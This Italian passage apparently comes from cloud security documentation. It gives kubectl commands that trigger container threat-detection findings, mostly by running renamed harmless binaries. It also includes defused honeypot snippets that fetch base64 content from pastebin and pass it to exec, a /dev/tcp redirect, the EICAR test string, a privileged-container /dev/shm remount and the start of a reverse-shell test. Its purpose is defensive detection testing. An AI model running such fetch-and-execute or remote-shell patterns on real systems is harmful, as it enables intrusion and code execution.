file binario nel contenitore ed eseguilo. Questo esempio esegue il deployment dell'ultima immagine Ubuntu
24.04, copia /bin/ls
in un'altra posizione, la rinomina in uno strumento sospetto (amicontained
) e lo esegue. Questa azione è considerata sospetta
perché simula un comportamento coerente con un potenziale tentativo di esecuzione di uno strumento di attacco Kubernetes.
Utilizza Cloud Shell per accedere al control plane del cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Rilascia un binario dello strumento di attacco Kubernetes come
amicontained
ed eseguilo:Nodo x86:
tag="ktd-test-kubernetes-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/amicontained; /tmp/amicontained"
Nodo ARM:
tag="ktd-test-kubernetes-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/amicontained; /tmp/amicontained"
Questa procedura di test dovrebbe creare un risultato Esecuzione: esecuzione dello strumento di attacco Kubernetes che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato la registrazione per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.
Esecuzione: esecuzione dello strumento di ricognizione locale
Per attivare un risultato Execution: Local Reconnaissance Tool Execution
, inserisci un
file binario nel contenitore ed eseguilo. Questo esempio esegue il deployment dell'ultima immagine Ubuntu
24.04, copia /bin/ls
in un'altra posizione, la rinomina in uno strumento sospetto (linenum.sh
) e lo esegue. Questa azione è considerata sospetta
perché l'esecuzione del file binario rinominato simula un comportamento coerente con un
tentativo di ricognizione locale.
Utilizza Cloud Shell per accedere al control plane del cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Introduci un binario dello strumento di ricognizione locale come
linenum.sh
ed eseguilo:Nodo x86:
tag="ktd-test-local-reconn-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/linenum.sh; /tmp/linenum.sh"
Nodo ARM:
tag="ktd-test-local-reconn-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/linenum.sh; /tmp/linenum.sh"
Questa procedura di test dovrebbe creare un risultato Esecuzione: strumento di ricognizione locale che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato la registrazione per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.
Esecuzione: Python dannoso eseguito
Per attivare un risultato Esecuzione: Python dannoso eseguito, puoi eseguire Python nella seguente procedura nel container.
La procedura esegue il deployment dell'ultima immagine Python, copia il codice Python che sembra dannoso e lo esegue. Per attivare un rilevamento, il codice Python deve apparire dannoso per il rilevatore.
Utilizza Cloud Shell per accedere al control plane del cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Esegui questo script in un nuovo contenitore.
Questo codice Python proviene da un honeypot. Tuttavia, è stato modificato in modo che non esegua il file binario dannoso. L'esecuzione dello script non causerà attività dannose nel container. Il binario all'URL di riferimento non esiste e il tentativo di seguire l'URL genera un errore 404. È previsto. Il tentativo di scaricare, decodificare ed eseguire un file binario utilizzando uno script incorporato è ciò che attiva il rilevamento.
Nodo x86:
tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/python:latest \ "$tag" -- python -c "import urllib import base64 import os url = 'https://pastebin.com/raw/Z' page = base64.b64decode(urllib.urlopen(url).read()) page = '' f = os.popen(str(page)) url = 'https://pastebin.com/raw/Z' d = 'https://pastebin.com/raw/Z' page = base64.b64decode(urllib.urlopen(url).read()) page = '' exec(page)"
Nodo ARM:
tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image python:3-buster \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- python -c "import urllib import base64 import os url = 'https://pastebin.com/raw/Z' page = base64.b64decode(urllib.urlopen(url).read()) page = '' f = os.popen(str(page)) url = 'https://pastebin.com/raw/Z' d = 'https://pastebin.com/raw/Z' page = base64.b64decode(urllib.urlopen(url).read()) page = '' exec(page)"
Questa procedura di test crea un risultato Esecuzione: esecuzione di Python dannoso che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato la registrazione per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.
Esecuzione: file binario dannoso modificato eseguito
Per attivare un risultato Esecuzione: file binario dannoso modificato eseguito, modifica un
file binario dannoso nel tuo container ed eseguilo. Questo esempio esegue il deployment dell'ultima immagine di Ubuntu 24.04, modifica /bin/ls
in un file dannoso di test EICAR e poi lo esegue. L'esecuzione del file binario è
inattesa perché il /bin/ls
creato viene modificato durante il runtime del container come
binario dannoso di test EICAR e il binario EICAR è un file dannoso noto
secondo la threat intelligence.
Utilizza Cloud Shell per accedere al control plane del cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Rilascia il file binario EICAR ed eseguilo:
Nodo x86:
tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- sh -c "echo -n '$eicar' > /bin/ls; /bin/ls; sleep 10"
Nodo ARM:
tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- sh -c "echo -n '$eicar' > /bin/ls; /bin/ls; sleep 10"
Questa procedura di test dovrebbe creare un risultato Esecuzione: binario dannoso modificato eseguito che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato la registrazione per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.
Per la riduzione del rumore, quando crei un container per la prima volta, Container Threat Detection
filtra temporaneamente i risultati di Esecuzione: binario dannoso modificato eseguito. Per visualizzare
tutti i risultati di Esecuzione: binario dannoso modificato eseguito durante la configurazione di un container, aggiungi il prefisso ktd-test
al nome del container o del pod, come nell'esempio.
Esecuzione: esecuzione del codice remoto Netcat nel container
Per attivare un evento Execution: Netcat Remote Code Execution In Container
, un
file binario in grado di comunicare in rete (come netcat stesso o una copia rinominata
di un altro utilità) deve essere presente ed eseguito all'interno del contenitore. Questo
esempio esegue il deployment dell'ultima immagine di Ubuntu 24.04 come base. Copia il binario /bin/ls
e rinomina la copia in netcat
(un'utilità di rete). Questo binario rinominato viene quindi eseguito con argomenti appropriati per l'interazione di rete. Questa
attività è contrassegnata come sospetta perché imita il comportamento spesso osservato
durante i tentativi di esecuzione del codice remoto effettivi all'interno di ambienti in container.
Utilizza Cloud Shell per accedere al control plane del cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Introduci un binario dello strumento di comunicazione di rete come
netcat
ed eseguilo con gli argomenti appropriati:Nodo x86:
tag="ktd-test-netcat-remote-code-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/netcat; /tmp/netcat --sh-exec"
Nodo ARM:
tag="ktd-test-netcat-remote-code-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/netcat; /tmp/netcat --sh-exec"
Questa procedura di test dovrebbe creare un risultato Execution: Netcat Remote Code Execution In
Container
che puoi visualizzare in Security Command Center e in
Cloud Logging se hai configurato la registrazione per
Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se
attivi il livello Premium o Enterprise di Security Command Center.
Esecuzione: possibile esecuzione di comando remoto rilevata
Per attivare un risultato Execution: Possible Remote Command Execution Detected
(Anteprima), l'esecuzione di un comando o di un binario comunemente
associato all'esecuzione di comandi remoti deve essere osservata all'interno di un container.
Questo esempio utilizza l'ultima immagine di Ubuntu 24.04. Copia /bin/ls
e lo rinomina
in touch
(o un altro strumento come find
). Questo binario rinominato viene poi
eseguito con argomenti appropriati per l'esecuzione di comandi remoti. Questo comportamento
viene segnalato come sospetto perché può indicare un tentativo di stabilire
un accesso remoto non autorizzato al o dal container.
Utilizza Cloud Shell per accedere al control plane del cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Esegui un binario come
touch
con gli argomenti appropriati:Nodo x86:
tag="ktd-test-remote-cmd-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/touch; echo "Hello" | /tmp/touch >& /dev/tcp/8.8.8.8/53"
Nodo ARM:
tag="ktd-test-remote-cmd-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/touch; echo "Hello" | /tmp/touch -o /tmp/touch.o"
Questa procedura di test crea un risultato Execution: Possible Remote Command
Execution Detected
che puoi visualizzare in Security Command Center e in
Cloud Logging se hai configurato Logging per
Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se
attivi il livello Premium o Enterprise di Security Command Center.
Esecuzione: Program Run with Disallowed HTTP Proxy Env
Per attivare un risultato Execution: Program Run with Disallowed HTTP Proxy Env
,
esegui un programma all'interno di un contenitore, impostando una variabile di ambiente proxy HTTP
su un valore non consentito. Questo esempio utilizza l'ultima immagine di Ubuntu 24.04. L'utilità
/bin/ls
viene copiata e rinominata in /tmp/curl
. Questo binario rinominato viene
poi eseguito con un valore non consentito impostato per una variabile di ambiente proxy HTTP
(ad esempio, HTTP_PROXY
, http_proxy
). La combinazione di esecuzione del programma e
presenza di un ambiente proxy HTTP non consentito viene contrassegnata come sospetta, in quanto
suggerisce un tentativo di comunicazione tramite un proxy non autorizzato.
Utilizza Cloud Shell per accedere al control plane del cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Esegui un file binario in grado di comunicare con la rete, ad esempio
curl
, ed eseguilo con una variabile di ambiente proxy HTTP non consentita:Nodo x86:
tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl"
Nodo ARM:
tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl"
Questa procedura di test dovrebbe creare un risultato Execution: Program Run with Disallowed
HTTP Proxy Env
che puoi visualizzare in Security Command Center e
in Cloud Logging se hai configurato Logging per
Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se
attivi il livello Premium o Enterprise di Security Command Center.
Esecuzione: Oggetto condiviso OpenSSL sospetto caricato
Per attivare un risultato Execution: Suspicious OpenSSL Shared Object Loaded
,
esegui il comando openssl engine
con un argomento che sia un file che termina
con l'estensione .so
. Questo esempio utilizza l'ultima immagine di Ubuntu 24.04. L'utilità
/bin/ls
viene copiata e rinominata in /tmp/openssl
. Questo binario rinominato viene
poi eseguito con gli argomenti engine
e .so
fittizi. L'esecuzione di
openssl engine
con un file .so
è contrassegnata come sospetta perché imita
il comportamento di un oggetto condiviso caricato per eseguire codice dannoso.
Utilizza Cloud Shell per accedere al control plane del cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Esegui un file binario in grado di comunicare con la rete, ad esempio
curl
, ed eseguilo con una variabile di ambiente proxy HTTP non consentita:Nodo x86:
tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/openssl; openssl engine /tmp/fakelib.so"
Nodo ARM:
tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/openssl; openssl engine /tmp/fakelib.so"
Questa procedura di test dovrebbe creare un risultato Execution: Suspicious OpenSSL Shared Object Loaded
che puoi visualizzare in Security Command Center e
in Cloud Logging se hai configurato Logging per
Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se
attivi il livello Premium o Enterprise di Security Command Center.
Esfiltrazione: avvia strumenti di copia file remoti nel container
Per attivare un risultato Exfiltration: Launch Remote File Copy Tools In Container
, esegui uno strumento di copia file remota comune all'interno di un container. Questo esempio
utilizza l'ultima immagine di Ubuntu 24.04. L'utilità /bin/ls
viene copiata e rinominata
in /tmp/rsync
e poi eseguita per recuperare un file da un'origine remota, potenzialmente
dannosa. L'esecuzione di uno strumento di questo tipo con argomenti di recupero di file remoti all'interno di un container viene segnalata come sospetta, in quanto potrebbe indicare un tentativo di scaricare ed eseguire codice dannoso o esfiltrare dati.
Utilizza Cloud Shell per accedere al control plane del cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Esegui uno strumento di copia file remota, come
rsync
:Nodo x86:
tag="ktd-test-launch-remote-file-copy-tools-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/rsync; /tmp/rsync"
Nodo ARM:
tag="ktd-test-launch-remote-file-copy-tools-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/rsync; /tmp/rsync"
Questa procedura di test dovrebbe creare un risultato Exfiltration: Launch Remote File Copy Tools
In Container
che puoi visualizzare in Security Command Center e in
Cloud Logging se hai configurato la registrazione per
Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se
attivi il livello Premium o Enterprise di Security Command Center.
Impatto: Rileva cmdline dannose
Per attivare un risultato Impact: Detect Malicious Cmdlines
(Anteprima), l'esecuzione di una riga di comando con argomenti o pattern dannosi noti deve essere osservata all'interno di un container. Questo esempio utilizza l'ultima immagine di Ubuntu 24.04. Consiste
nel copiare il binario /bin/ls
e rinominare la copia in ipfs
. Viene poi eseguito il
file binario rinominato. Questo comportamento viene segnalato come sospetto perché
può indicare un tentativo di eseguire codice dannoso o aggirare i controlli di sicurezza.
Utilizza Cloud Shell per accedere al control plane del cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Esegui un binario come
ipfs
:Nodo x86:
tag="ktd-test-detect-malicious-cmdlines-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/ipfs; /tmp/ipfs"
Nodo ARM:
tag="ktd-test-detect-malicious-cmdlines-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/ipfs; /tmp/ipfs"
Questa procedura di test crea un risultato Impact: Detect Malicious Cmdlines
che puoi visualizzare in Security Command Center e in Cloud Logging se
hai configurato la registrazione per Container Threat Detection. La visualizzazione
dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o
Enterprise di Security Command Center.
Impatto: Rimuovi dati collettivi dal disco
Per attivare un risultato Impact: Remove Bulk Data From Disk
, inserisci un file binario
in grado di eliminare o sovrascrivere i dati nel contenitore ed eseguilo. Questo
esempio utilizza l'ultima immagine Ubuntu 24.04. Consiste nel copiare il file binario /bin/ls
e rinominare la copia in shred
(o un'utilità simile progettata per l'eliminazione sicura dei file). Viene quindi eseguito il file binario rinominato. Questa azione
è contrassegnata come sospetta perché imita il comportamento spesso osservato quando si tenta
di rimuovere grandi quantità di dati da un disco all'interno di un ambiente
in container.
Utilizza Cloud Shell per accedere al control plane del cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Introduci un binario di eliminazione di file o dati come
shred
ed eseguilo:Nodo x86:
tag="ktd-test-remove-bulk-data-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/shred; /tmp/shred"
Nodo ARM:
tag="ktd-test-remove-bulk-data-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/shred; /tmp/shred"
Questa procedura di test dovrebbe creare un risultato Impact: Remove Bulk Data From Disk
che puoi visualizzare in Security Command Center e in Cloud Logging se
hai configurato Logging per Container Threat Detection. La visualizzazione
dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o
Enterprise di Security Command Center.
Impatto: attività sospetta di cryptomining mediante il protocollo Stratum
Per attivare un risultato Impact: Suspicious crypto mining activity using the Stratum
Protocol
, è necessario eseguire un file binario all'interno di un container con
argomenti simili a quelli utilizzati dal software di mining di criptovalute che comunica utilizzando
il protocollo Stratum. L'esempio utilizza l'ultima immagine Ubuntu 24.04. Copia
/bin/ls
e rinomina la copia in un binario simulato (presumibilmente per simulare un
miner di criptovalute). Questo binario rinominato viene quindi eseguito con argomenti che includono
stratum+tcp
o indicatori di protocollo Stratum simili. Questa attività è contrassegnata
come sospetta perché imita i pattern di comunicazione di rete del software di mining
di criptovalute all'interno di ambienti containerizzati.
Utilizza Cloud Shell per accedere al control plane del cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Introduci un binario di utilità come
curl
ed eseguilo con argomenti simili a quelli utilizzati dal software di mining di criptovalute che comunica utilizzando il protocollo Stratum:Nodo x86:
tag="ktd-test-detect-crypto-miners-using-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp"
Nodo ARM:
tag="ktd-test-detect-crypto-miners-using-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp"
Questa procedura di test dovrebbe creare un risultato Impact: Suspicious crypto mining activity
using the Stratum Protocol
che puoi visualizzare in Security Command Center e
in Cloud Logging se hai configurato Logging per
Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se
attivi il livello Premium o Enterprise di Security Command Center.
Potresti anche visualizzare un risultato aggiuntivo per il comando bash
che esegui in questo test. Questo comportamento è normale e puoi ignorare il risultato aggiuntivo.
Script dannoso eseguito
Per attivare un risultato Script dannoso eseguito, puoi eseguire lo script nella seguente procedura nel container.
La procedura esegue il deployment dell'ultima immagine di Ubuntu 24.04, copia uno script che sembra dannoso e poi lo esegue. Per attivare un rilevamento, uno script deve apparire dannoso per il rilevatore.
Utilizza Cloud Shell per accedere al control plane del cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Esegui questo script in un nuovo contenitore.
Questo script Bourne shell incorporato ha avuto origine da un honeypot. Tuttavia, è stato modificato in modo da non eseguire il binario dannoso, quindi l'esecuzione dello script non causerà attività dannose nel tuo contenitore. Il file binario all'URL di riferimento potrebbe essere stato rimosso e il tentativo di seguire l'URL genererà un errore 404. È previsto. Il tentativo di scaricare, decodificare ed eseguire un file binario utilizzando uno script incorporato è ciò che attiva il rilevamento.
Nodo x86:
tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- sh -c \ "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"
Nodo ARM:
tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- sh -c \ "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"
Questa procedura di test crea un risultato Esecuzione di script dannoso che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato la registrazione per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.
Rilevato URL dannoso
Per attivare un risultato URL dannoso osservato, esegui un file binario e fornisci un URL dannoso come argomento.
L'esempio seguente esegue il deployment di un'immagine Ubuntu 24.04
ed esegue /bin/curl
per accedere a un URL di malware di esempio dal servizio
Navigazione sicura.
Utilizza Cloud Shell per accedere al control plane del cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Esegui
curl
e fornisci un URL dannoso come argomento:Nodo x86:
tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" url="https://testsafebrowsing.appspot.com/s/malware.html" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- sh -c "apt update; apt --yes install curl; curl $url | cat"
Nodo ARM:
tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" url="https://testsafebrowsing.appspot.com/s/malware.html" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- sh -c "apt update; apt --yes install curl; curl $url | cat"
Questa procedura di test attiva un risultato URL dannoso osservato che puoi visualizzare in Security Command Center e, se hai configurato la registrazione per Container Threat Detection, in Cloud Logging. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center a livello di organizzazione.
Escalation dei privilegi: esecuzione senza file in /dev/shm
Per attivare un risultato Privilege Escalation: Fileless Execution in /dev/shm
,
un processo deve essere eseguito dal file system in memoria /dev/shm.
Questo esempio utilizza l'ultima immagine di Ubuntu 24.04. L'utilità /bin/echo
viene
copiata in /dev/shm/echo
. Viene quindi eseguito il file binario rinominato.
L'esecuzione di un file in /dev/shm
viene segnalata come sospetta perché
imita il comportamento di un oggetto che tenta di essere eseguito in memoria per evitare rilevamenti
basati su file.
Utilizza Cloud Shell per accedere al control plane del cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Crea un container con privilegi e apri bash per eseguire i comandi:
Nodo x86:
tag="ktd-test-fileless-dev-shm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -it \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"spec": {"containers": [{"name": "ktd-test-fileless-dev-shm", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "tty":true, "stdin":true, "securityContext": {"privileged": true}}]}}' \ "$tag" -- bash
Nodo ARM:
tag="ktd-test-fileless-dev-shm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -it \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "containers": [{"name": "ktd-test-fileless-dev-shm", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "tty":true, "stdin":true, "securityContext": {"privileged": true}}] "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash
Copia
echo
in/dev/shm
e rendilo eseguibile utilizzandochmod
cp /bin/echo /dev/shm chmod 777 /dev/shm/echo
Rimonta
/dev/shm
per abilitare l'esecuzionemount -o remount,exec /dev/shm
Esegui
echo
da/dev/shm
/dev/shm/echo "Hello from /dev/shm"
Questa procedura di test dovrebbe creare un risultato Privilege Escalation: Fileless Execution in /dev/shm
che puoi visualizzare in Security Command Center e
in Cloud Logging se hai configurato Logging per
Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se
attivi il livello Premium o Enterprise di Security Command Center.
Shell inversa
Per attivare un risultato Reverse Shell, avvia un binario con il reindirizzamento stdin
a un socket connesso TCP. Questo esempio copia /bin/echo
in /tmp/sh
,
poi avvia /tmp/sh
con il reindirizzamento a Google Public DNS
8.8.8.8
sulla porta DNS. Quando esegui questo esempio, non viene stampato nulla. Per
evitare l'iniezione di codice esterno tramite un attacco man-in-the-middle (MITM),
questo esempio non utilizza il binario /bin/sh
.
